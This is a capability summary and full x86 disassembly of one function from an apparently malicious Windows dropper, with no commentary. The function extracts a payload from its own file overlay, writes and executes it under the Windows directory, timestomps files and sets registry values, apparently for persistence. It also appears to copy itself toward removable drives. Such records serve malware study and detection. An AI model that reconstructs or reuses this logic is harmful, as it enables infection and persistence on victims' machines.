Function at 0x404e38
Capabilities:
Accept command line arguments
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Get common file path
Get disk information
Get file size
Move file
Read file on windows
Set current directory
Set registry value
Timestomp file
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x34
push 0
push 0
dec ecx
jne 0x404e40
push ebx
push esi
push edi
mov eax, 0x404e08
call fcn.00403b48
xor eax, eax
push ebp
push 0x405d81
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00402790
cmp eax, 2
jne 0x404ea6
lea edx, [ebp - 0x14]
mov eax, 1
call fcn.004027f0
mov eax, dword [ebp - 0x14]
mov edx, 0x405d98
call fcn.004035b0
jne 0x404ea6
mov edx, 0x40e274
mov eax, 2
call fcn.004027f0
mov eax, dword [0x40e274]
call fcn.00404198
jmp 0x405d63
mov al, 1
call fcn.0040403c
mov byte [0x40e2c4], 1
mov byte [0x40e2c5], 1
lea edx, [ebp - 0x18]
mov eax, 0x405da4
call fcn.00403f88
mov edx, dword [ebp - 0x18]
mov eax, 0x40e274
call fcn.00403334
push 0x40e3c8
mov eax, dword [0x40e274]
call fcn.00403664
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyA
mov ebx, eax
test ebx, ebx
jne 0x404efc
mov byte [0x40e2c4], 0
mov eax, dword [0x40e3c8]
push eax
call sub.advapi32.dll_RegCloseKey_1
lea edx, [ebp - 0x1c]
mov eax, 0x405dc8
call fcn.00403f88
mov edx, dword [ebp - 0x1c]
mov eax, 0x40e274
call fcn.00403334
push 0x40e3c8
mov eax, dword [0x40e274]
call fcn.00403664
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyA
mov ebx, eax
test ebx, ebx
jne 0x404f48
mov byte [0x40e2c4], 0
mov eax, dword [0x40e3c8]
push eax
call sub.advapi32.dll_RegCloseKey_1
call fcn.00402850
push 0xff
push 0x40e2c8
call sub.kernel32.dll_GetWindowsDirectoryA
xor eax, eax
mov dword [0x40e2b4], eax
mov dword [0x40e4c4], 0x94
push 0x40e4c4
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x404f99
cmp dword [0x40e4d4], 2
jne 0x404f99
mov dword [0x40e2b4], 1
cmp dword [0x40e2b4], 0
jle 0x405008
lea edx, [ebp - 0x20]
mov eax, 0x405df8
call fcn.00403f88
mov eax, dword [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
mov edx, 0x40e2c8
mov ecx, pe_nt_image_headers32
call fcn.0040344c
mov edx, dword [ebp - 0x24]
pop eax
call fcn.00403758
test eax, eax
jg 0x405002
lea edx, [ebp - 0x28]
mov eax, 0x405e08
call fcn.00403f88
mov eax, dword [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
mov edx, 0x40e2c8
mov ecx, pe_nt_image_headers32
call fcn.0040344c
mov edx, dword [ebp - 0x2c]
pop eax
call fcn.00403758
test eax, eax
jle 0x405008
inc dword [0x40e2b4]
xor eax, eax
push ebp
push 0x40507b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x80000000
push 0x40e3d0
lea eax, [ebp - 0x30]
mov edx, 0x40e2c8
mov ecx, pe_nt_image_headers32
call fcn.0040344c
lea eax, [ebp - 0x30]
push eax
lea edx, [ebp - 0x34]
mov eax, 0x405e18
call fcn.00403f88
mov edx, dword [ebp - 0x34]
pop eax
call fcn.0040346c
mov eax, dword [ebp - 0x30]
call fcn.00403664
push eax
call sub.kernel32.dll_OpenFile
mov ebx, eax
push 0x40e4bc
push 0
push 0
push ebx
call sub.kernel32.dll_GetFileTime
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x405085
lea eax, [ebp - 0x38]
mov edx, 0x40e2c8
mov ecx, pe_nt_image_headers32
call fcn.0040344c
mov edx, dword [ebp - 0x38]
mov eax, 0x40e2a0
mov ecx, 0x405e30
call fcn.004034b0
cmp dword [0x40e2b4], 0
jne 0x4050ce
lea edx, [ebp - 0x3c]
mov eax, 0x405e3c
call fcn.00403f88
mov edx, dword [ebp - 0x3c]
mov eax, 0x40e28c
call fcn.00403334
jmp 0x4050e8
lea edx, [ebp - 0x40]
mov eax, 0x405e4c
call fcn.00403f88
mov edx, dword [ebp - 0x40]
mov eax, 0x40e28c
call fcn.00403334
cmp dword [0x40e2b4], 0
jne 0x405113
lea edx, [ebp - 0x44]
mov eax, 0x405e64
call fcn.00403f88
mov ecx, dword [ebp - 0x44]
mov eax, 0x40e294
mov edx, dword [0x40e2a0]
call fcn.004034b0
jmp 0x405133
lea edx, [ebp - 0x48]
mov eax, 0x405e80
call fcn.00403f88
mov ecx, dword [ebp - 0x48]
mov eax, 0x40e294
mov edx, dword [0x40e2a0]
call fcn.004034b0
cmp dword [0x40e2b4], 0
jne 0x40515e
lea edx, [ebp - 0x4c]
mov eax, 0x405e9c
call fcn.00403f88
mov ecx, dword [ebp - 0x4c]
mov eax, 0x40e29c
mov edx, dword [0x40e2a0]
call fcn.004034b0
jmp 0x40517e
lea edx, [ebp - 0x50]
mov eax, 0x405eb8
call fcn.00403f88
mov ecx, dword [ebp - 0x50]
mov eax, 0x40e29c
mov edx, dword [0x40e2a0]
call fcn.004034b0
lea edx, [ebp - 0x54]
mov eax, 0x405ed4
call fcn.00403f88
mov ecx, dword [ebp - 0x54]
mov eax, 0x40e298
mov edx, dword [0x40e2a0]
call fcn.004034b0
cmp dword [0x40e2b4], 0
jne 0x4051b7
mov eax, 0x40e290
mov edx, dword [0x40e2a0]
call fcn.00403334
mov eax, 0x40e2a0
mov edx, dword [0x40e28c]
call fcn.0040346c
cmp dword [0x40e2b4], 0
jle 0x4051e0
mov eax, 0x40e290
mov edx, dword [0x40e2a0]
call fcn.00403334
cmp dword [0x40e2b4], 0
jne 0x405215
push dword [0x40e2a0]
push 0x405e30
lea edx, [ebp - 0x58]
mov eax, 0x405ee8
call fcn.00403f88
push dword [ebp - 0x58]
mov eax, 0x40e2a0
mov edx, 3
call fcn.00403524
jmp 0x40522f
lea edx, [ebp - 0x5c]
mov eax, 0x405f00
call fcn.00403f88
mov edx, dword [ebp - 0x5c]
mov eax, 0x40e2a0
call fcn.0040346c
lea edx, [ebp - 0x64]
xor eax, eax
call fcn.004027f0
mov eax, dword [ebp - 0x64]
lea edx, [ebp - 0x60]
call fcn.00403d94
mov edx, dword [ebp - 0x60]
mov eax, 0x40e2a4
call fcn.00403334
lea edx, [ebp - 0x68]
mov eax, dword [0x40e294]
call fcn.00403d94
mov edx, dword [ebp - 0x68]
mov eax, 0x40e2a8
call fcn.00403334
lea edx, [ebp - 0x6c]
mov eax, dword [0x40e29c]
call fcn.00403d94
mov edx, dword [ebp - 0x6c]
mov eax, 0x40e2ac
call fcn.00403334
lea edx, [ebp - 0x70]
mov eax, dword [0x40e2a0]
call fcn.00403d94
mov edx, dword [ebp - 0x70]
mov eax, 0x40e2b0
call fcn.00403334
mov eax, dword [0x40e2a4]
mov edx, dword [0x40e2a8]
call fcn.004035b0
jne 0x4053f7
push 0xea60
call sub.kernel32.dll_Sleep
push 0
push 0
push 3
push 0
push 0
push 0x40000000
mov eax, dword [0x40e2a0]
call fcn.00403664
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 0x40e4bc
push 0x40e4bc
push 0x40e4bc
push ebx
call sub.kernel32.dll_SetFileTime
push ebx
call sub.kernel32.dll_CloseHandle
call fcn.004046c4
mov si, word [0x40e2bc]
call fcn.00404ca4
cmp word [0x40e2c0], 0x7d8
ja 0x40533d
cmp word [0x40e2be], 3
ja 0x40533d
cmp word [0x40e2be], 3
jne 0x405d63
cmp word [0x40e2bc], 2
jbe 0x405d63
mov edi, 1
call fcn.004046c4
cmp si, word [0x40e2bc]
je 0x40535c
mov si, word [0x40e2bc]
call fcn.00404ca4
mov ebx, 0x5a
lea eax, [ebp - 0x74]
mov edx, ebx
call fcn.00403400
mov edx, dword [ebp - 0x74]
mov eax, 0x40e274
mov ecx, 0x405f18
call fcn.004034b0
mov byte [0x40e2c2], bl
mov eax, dword [0x40e274]
call fcn.00403664
push eax
call sub.kernel32.dll_GetDriveTypeA
mov dword [0x40e2b8], eax
cmp dword [0x40e2b8], 2
jne 0x4053da
mov al, byte [0x40e2c2]
call fcn.00403e24
test al, al
je 0x4053da
mov eax, dword [0x40e274]
call fcn.00403664
push eax
call sub.kernel32.dll_SetCurrentDirectoryA_1
mov al, 1
call fcn.004046f4
push 0x405f1c
call sub.kernel32.dll_SetCurrentDirectoryA_1
push 0x927c0
call sub.kernel32.dll_Sleep
dec ebx
cmp ebx, 0x44
jne 0x405361
push 0x1388
call sub.kernel32.dll_Sleep
test edi, edi
jne 0x405342
jmp 0x405d63
mov eax, dword [0x40e2a4]
mov edx, dword [0x40e2ac]
call fcn.004035b0
jne 0x4054b5
call fcn.004046c4
cmp word [0x40e2c0], 0x7d8
ja 0x405443
cmp word [0x40e2be], 3
ja 0x405443
cmp word [0x40e2be], 3
jne 0x405d63
cmp word [0x40e2bc], 2
jbe 0x405d63
push 0x3f
call sub.user32.dll_GetSystemMetrics
and eax, 1
dec eax
jne 0x405d63
xor eax, eax
push ebp
push 0x4054a6
push dword fs:[eax]
mov dword fs:[eax], esp
mov al, 0x42
call fcn.00403e24
test al, al
je 0x405488
push 0x405f20
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 4
jne 0x405488
push 0xffffffffffffffff
push 0x405f24
call sub.mpr.dll_WNetCancelConnectionA
push 0x927c0
call sub.kernel32.dll_Sleep
xor eax, eax
call fcn.00404adc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x405d63
mov eax, dword [0x40e2a4]
mov edx, dword [0x40e2b0]
call fcn.004035b0
jne 0x4056d4
mov eax, dword [0x4060a4]
mov byte [eax], 2
push 0
push 0x40e3d0
lea edx, [ebp - 0x78]
xor eax, eax
call fcn.004027f0
mov eax, dword [ebp - 0x78]
call fcn.00403664
push eax
call sub.kernel32.dll_OpenFile
mov ebx, eax
push 0
push 0x40e458
push pe_overlay
push 0x407664
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4060a4]
mov byte [eax], 0
mov ebx, 0x101
mov esi, 0x40e163
mov eax, pe_nt_image_headers32
call fcn.004028f0
inc eax
mov byte [0x40e2c2], al
mov al, byte [0x40e2c2]
mov byte [esi], al
inc esi
dec ebx
jne 0x405523
push 0
push 0
push 2
push 0
push 0
push 0
mov eax, dword [0x40e294]
call fcn.00403664
mov esi, eax
push esi
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push ebx
call sub.kernel32.dll_CloseHandle
push 1
push 0x40e3d0
push esi
call sub.kernel32.dll_OpenFile
mov ebx, eax
push 0
push 0x40e458
push pe_overlay
push 0x407664
push ebx
call sub.kernel32.dll_WriteFile_1
push 0
push 0x40e458
mov eax, pe_overlay
call fcn.004028f0
push eax
push 0x407664
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
push 0
push 0
push 3
push 0
push 0
push 0x40000000
push esi
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 0x40e4bc
push 0x40e4bc
push 0x40e4bc
push ebx
call sub.kernel32.dll_SetFileTime
push ebx
call sub.kernel32.dll_CloseHandle
push 5
push esi
call sub.kernel32.dll_WinExec
push 0
push 0
push 2
push 0
push 0
push 0
mov eax, dword [0x40e29c]
call fcn.00403664
mov esi, eax
push esi
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push ebx
call sub.kernel32.dll_CloseHandle
push 1
push 0x40e3d0
push esi
call sub.kernel32.dll_OpenFile
mov ebx, eax
push 0
push 0x40e458
push pe_overlay
push 0x407664
push ebx
call sub.kernel32.dll_WriteFile_1
push 0
push 0x40e458
mov eax, pe_overlay
call fcn.004028f0
push eax
push 0x407664
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
push 0
push 0
push 3
push 0
push 0
push 0x40000000
push esi
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 0x40e4bc
push 0x40e4bc
push 0x40e4bc
push ebx
call sub.kernel32.dll_SetFileTime
push ebx
call sub.kernel32.dll_CloseHandle
push 5
push esi
call sub.kernel32.dll_WinExec
cmp dword [0x40e2b4], 0
jne 0x405d63
lea edx, [ebp - 0x7c]
mov eax, 0x405f30
call fcn.00403f88
mov ecx, dword [ebp - 0x7c]
mov eax, 0x40e274
mov edx, dword [0x40e290]
call fcn.004034b0
push 5
mov eax, dword [0x40e274]
call fcn.00403664
push eax
call sub.kernel32.dll_WinExec
jmp 0x405d63
cmp dword [0x40e2b4], 0
jle 0x40586a
lea edx, [ebp - 0x80]
mov eax, 0x405f48
call fcn.00403f88
mov edx, dword [ebp - 0x80]
mov eax, 0x40e278
call fcn.00403334
lea edx, [ebp - 0x84]
mov eax, 0x405f60
call fcn.00403f88
mov edx, dword [ebp - 0x84]
mov eax, 0x40e27c
call fcn.00403334
lea edx, [ebp - 0x88]
mov eax, 0x405f9c
call fcn.00403f88
mov edx, dword [ebp - 0x88]
mov eax, 0x40e280
call fcn.00403334
lea edx, [ebp - 0x8c]
mov eax, 0x405fb4
call fcn.00403f88
mov edx, dword [ebp - 0x8c]
mov eax, 0x40e284
call fcn.00403334
mov eax, 0x40e274
mov ecx, dword [0x40e280]
mov edx, dword [0x40e27c]
call fcn.004034b0
push 0x40e3c8
mov eax, dword [0x40e274]
call fcn.00403664
push eax
push 0x80000002
call sub.advapi32.dll_RegCreateKeyA
push 0x40e3c8
mov eax, dword [0x40e274]
call fcn.00403664
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyA
mov eax, dword [0x40e290]
call fcn.00403464
inc eax
push eax
mov eax, dword [0x40e290]
call fcn.00403664
mov ebx, eax
push ebx
push 1
push 0
mov eax, dword [0x40e278]
call fcn.00403664
mov esi, eax
push esi
mov eax, dword [0x40e3c8]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [0x40e3c8]
push eax
call sub.advapi32.dll_RegCloseKey_1
push dword [0x40e27c]
push dword [0x40e284]
push dword [0x40e280]
mov eax, 0x40e274
mov edx, 3
call fcn.00403524
push 0x40e3c8
mov eax, dword [0x40e274]
call fcn.00403664
push eax
push 0x80000002
call sub.advapi32.dll_RegCreateKeyA
push 0x40e3c8
mov eax, dword [0x40e274]
call fcn.00403664
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyA
mov eax, dword [0x40e290]
call fcn.00403464
inc eax
push eax
push ebx
push 2
push 0
push esi
mov eax, dword [0x40e3c8]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [0x40e3c8]
push eax
call sub.advapi32.dll_RegCloseKey_1
push 0
push ebx
call sub.kernel32.dll_CreateDirectoryA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
mov eax, dword [0x40e2a0]
call fcn.00403664
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov esi, eax
cmp ebx, 0xffffffff
je 0x4058a6
cmp esi, 0x6c00
je 0x405aa2
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4060a4]
mov byte [eax], 2
push 0
push 0x40e3d0
lea edx, [ebp - 0x90]
xor eax, eax
call fcn.004027f0
mov eax, dword [ebp - 0x90]
call fcn.00403664
push eax
call sub.kernel32.dll_OpenFile
mov ebx, eax
push 0
push 0x40e458
push pe_overlay
push 0x407664
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4060a4]
mov byte [eax], 0
mov ebx, 0x101
mov esi, 0x40e163
mov eax, pe_nt_image_headers32
call fcn.004028f0
inc eax
mov byte [0x40e2c2], al
mov al, byte [0x40e2c2]
mov byte [esi], al
inc esi
dec ebx
jne 0x40590a
cmp dword [0x40e2b4], 0
jne 0x4059bb
push dword [0x40e290]
push 0x405e30
lea edx, [ebp - 0x94]
mov eax, 0x405f30
call fcn.00403f88
push dword [ebp - 0x94]
mov eax, 0x40e274
mov edx, 3
call fcn.00403524
push 0
mov eax, dword [0x40e274]
call fcn.00403664
push eax
mov eax, dword [0x40e2a0]
call fcn.00403664
push eax
call sub.kernel32.dll_CopyFileA
push 0
push 0
push 3
push 0
push 0
push 0x40000000
mov eax, dword [0x40e274]
call fcn.00403664
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 0x40e4bc
push 0x40e4bc
push 0x40e4bc
push ebx
call sub.kernel32.dll_SetFileTime
push ebx
call sub.kernel32.dll_CloseHandle
push 0
push 0
push 2
push 0
push 0
push 0
mov eax, dword [0x40e298]
call fcn.00403664
mov esi, eax
push esi
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push ebx
call sub.kernel32.dll_CloseHandle
push 1
push 0x40e3d0
push esi
call sub.kernel32.dll_OpenFile
mov ebx, eax
push 0
push 0x40e458
push pe_overlay
push 0x407664
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
cmp dword [0x40e2b4], 0
jne 0x405a8d
lea edx, [ebp - 0x98]
mov eax, 0x405fc4
call fcn.00403f88
mov eax, dword [ebp - 0x98]
push eax
lea eax, [ebp - 0x9c]
mov edx, 0x40e2c8
mov ecx, pe_nt_image_headers32
call fcn.0040344c
mov edx, dword [ebp - 0x9c]
mov eax, 0x40e274
pop ecx
call fcn.004034b0
mov eax, dword [0x40e274]
call fcn.00403664
push eax
push esi
mov eax, dword [0x40e2a0]
call fcn.00403664
push eax
lea edx, [ebp - 0xa0]
mov eax, 0x405fdc
call fcn.00403f88
mov eax, dword [ebp - 0xa0]
call fcn.00403664
push eax
call sub.kernel32.dll_WritePrivateProfileStringA
jmp 0x405aa8
push 5
mov eax, dword [0x40e2a0]
call fcn.00403664
push eax
push esi
call sub.kernel32.dll_MoveFileExA
jmp 0x405aa8
push ebx
call sub.kernel32.dll_CloseHandle
mov edx, 0x40e278
xor eax, eax
call fcn.004027f0
call sub.kernel32.dll_GetCommandLineA_1
mov ebx, eax
mov eax, 0x40e284
mov edx, ebx
call fcn.00403410
mov edx, dword [0x40e284]
mov eax, dword [0x40e278]
call fcn.00403758
mov edi, eax
dec edi
mov eax, dword [0x40e278]
call fcn.00403464
add edi, eax
sub edi, 3
mov eax, 0x5a
call fcn.004028f0
add eax, 0xa
lea edx, [ebp - 0x1a0]
call fcn.0040296c
lea edx, [ebp - 0x1a0]
mov eax, 0x40e280
call fcn.00403440
mov edx, 0x40e284
mov ecx, edi
mov eax, dword [0x40e280]
call fcn.004036fc
mov eax, 0x40e27c
mov edx, dword [0x40e278]
call fcn.00403334
mov eax, dword [0x40e27c]
call fcn.00403464
mov ecx, eax
sub ecx, 3
mov edx, 0x40e27c
mov eax, dword [0x40e280]
call fcn.004036fc
push 0x80000000
push 0x40e3d0
mov eax, dword [0x40e278]
call fcn.00403664
mov esi, eax
push esi
call sub.kernel32.dll_OpenFile
mov ebx, eax
push 0x40e4b4
push 0
push 0
push ebx
call sub.kernel32.dll_GetFileTime
push ebx
call sub.kernel32.dll_CloseHandle
push 0
push 0x40e3d0
push esi
call sub.kernel32.dll_OpenFile
mov ebx, eax
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov esi, eax
cmp esi, 0x6c00
jbe 0x405d5d
push 0x1000
push 0x40e3d0
mov eax, dword [0x40e27c]
call fcn.00403664
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x40e3cc], eax
push 0
push 0
mov eax, esi
sub eax, 0x6c00
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
push 0x40e45c
push pe_overlay
push 0x407664
push ebx
call sub.kernel32.dll_ReadFile
mov edi, dword [0x40e45c]
push 0
push 0x40e458
mov eax, dword [0x40e45c]
push eax
push 0x407664
mov eax, dword [0x40e3cc]
push eax
call sub.kernel32.dll_WriteFile_1
push 0
push 0
push pe_overlay
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
push 0x40e45c
push pe_overlay
push 0x407664
push ebx
call sub.kernel32.dll_ReadFile
mov eax, esi
sub eax, 0x6c00
mov edx, dword [0x40e45c]
add edx, edi
cmp eax, edx
jae 0x405c58
mov edx, eax
sub edx, edi
mov dword [0x40e45c], edx
mov edi, eax
add edi, dword [0x40e45c]
cmp dword [0x40e45c], 0
jbe 0x405c84
push 0
push 0x40e458
mov eax, dword [0x40e45c]
push eax
push 0x407664
mov eax, dword [0x40e3cc]
push eax
call sub.kernel32.dll_WriteFile_1
cmp dword [0x40e45c], 0
je 0x405c9a
mov eax, dword [0x40e458]
cmp eax, dword [0x40e45c]
je 0x405c22
push 0x40e4b4
push 0x40e4b4
push 0x40e4b4
mov eax, dword [0x40e3cc]
push eax
call sub.kernel32.dll_SetFileTime
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x40e3cc]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, 0x40e460
xor ecx, ecx
mov edx, 0x44
call fcn.004028d0
mov dword [0x40e460], 0x44
mov dword [0x40e48c], 1
mov word [0x40e490], 1
push 0x8000
call sub.kernel32.dll_SetErrorMode
push 0x40e4a4
push 0x40e460
push 0
push 0
push 0x4000000
push 0
push 0
push 0
mov eax, dword [0x40e284]
call fcn.00403664
push eax
push 0
call sub.kernel32.dll_CreateProcessA
push 0xffffffffffffffff
mov eax, dword [0x40e4a4]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [0x40e4a4]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x40e4a8]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x40e27c]
call fcn.00403664
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x405d63
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405d88
lea eax, [ebp - 0xa0]
mov edx, 0x24
call fcn.00403304
ret